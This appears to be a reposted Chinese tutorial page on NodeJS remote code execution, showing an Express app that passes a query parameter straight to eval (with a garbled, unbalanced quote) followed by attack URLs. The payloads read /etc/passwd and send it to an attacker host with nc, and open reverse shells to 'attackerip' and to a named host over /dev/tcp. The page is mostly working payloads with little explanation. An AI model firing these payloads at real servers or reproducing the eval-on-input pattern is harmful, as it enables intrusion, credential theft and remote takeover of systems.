首页 > 编程 > JavaScript > 正文

NodeJS远程代码执行

2019-11-20 09:08:23
字体:
来源:转载
供稿:网友

背景

@Artsploit在挖PayPal的漏洞时,发现一处NodeJS代码执行,奖励$10000美金。

测试

var express = require('express'); var app = express(); app.get('/', function (req, res) {   res.send('Hello eval(req.query.q));  console.log(req.query.q);});app.listen(8080, function () {   console.log('Example listening on port 8080!');});

任意文件读取

http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

GET SHELL

http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

GET SHELL2

http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表